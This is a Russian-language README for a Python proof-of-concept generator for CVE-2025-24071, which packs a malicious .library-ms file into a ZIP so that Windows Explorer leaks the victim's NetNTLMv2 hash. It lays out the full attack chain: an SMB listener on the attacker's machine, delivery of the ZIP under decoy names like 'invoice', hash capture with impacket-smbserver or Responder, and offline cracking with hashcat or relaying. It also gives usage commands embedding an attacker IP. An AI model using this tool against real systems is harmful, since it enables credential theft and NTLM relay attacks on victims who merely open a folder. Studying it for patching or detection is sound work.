
Генератор PoC на Python без зависимостей для CVE-2025-24071, который создаёт вредоносный файл .library-ms в ZIP для запуска раскрытия NTLM-хеша в Проводнике Windows.
⚠️ Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Неавторизованное использование незаконно.
Проводник Windows автоматически обрабатывает определённые типы файлов, как только они появляются в представлении папки, без какого-либо взаимодействия с пользователем, например двойного щелчка. Затронутые версии не выполняют должную проверку файлов .library-ms, которые могут определять коннектор поиска, указывающий на произвольный удалённый SMB-путь.
Когда Проводник отображает папку, содержащую вредоносный файл .library-ms (например, сразу после извлечения ZIP/RAR-архива), он молча пытается подключиться к контролируемому злоумышленником UNC-пути для разрешения расположения «библиотеки». Эта попытка SMB-подключения несёт хеш NetNTLMv2 жертвы, который злоумышленник, перехватывающий трафик на указанном хосте (например, с помощью impacket-smbserver или Responder), может затем попытаться взломать офлайн или ретранслировать.
Этот репозиторий содержит минимальную, не требующую зависимостей переработку публичного генератора PoC для данной уязвимости: он создаёт вредоносный файл .library-ms и упаковывает его в ZIP, используя только стандартную библиотеку Python.
Файл .library-ms — это XML-документ, который указывает Проводнику Windows отображать содержимое удалённого или локального расположения как «библиотеку». Его элемент <simpleLocation><url> может указывать на UNC-путь (\\<host>\<share>).
В затронутых версиях Проводник разрешает это расположение сразу при отображении папки — не требуется двойной щелчок или явное действие, достаточно лишь наличия файла в представлении папки (например, сразу после извлечения архива, содержащего его).
impacket-smbserver, Responder и т. д.)..library-ms, указывающий на \\<attacker_ip>\<share>.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)Для генерации полезной нагрузки сторонние зависимости не требуются. Для перехвата хеша на стороне злоумышленника требуется SMB-слушатель, такой как Impacket (impacket-smbserver) или Responder.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
Это создаёт invoice.zip, содержащий invoice.library-ms, указывающий на \\10.10.14.5\shared.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms и подобных автоматически обрабатываемых типов файлов, прежде чем они достигнут рабочих станций конечных пользователей..library-ms без зависимостей, без новой техники эксплуатации| Поле | Значение |
|---|
| CVE | CVE-2025-24071 |
| Затронуто | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Тип | Раскрытие конфиденциальной информации неавторизованному субъекту (CWE-200) |
| Привилегии | Отсутствуют (неаутентифицированный злоумышленник; требуется, чтобы жертва просмотрела/извлекла файл) |
| Воздействие | Раскрытие хеша NetNTLMv2 → офлайн-взлом или NTLM-ретрансляция |
| CVSS | 7.5 High (согласно GitHub Advisory Database) / 6.5 (базовый MSRC) |
| Патч | Кумулятивные обновления мартовского Patch Tuesday 2025 года |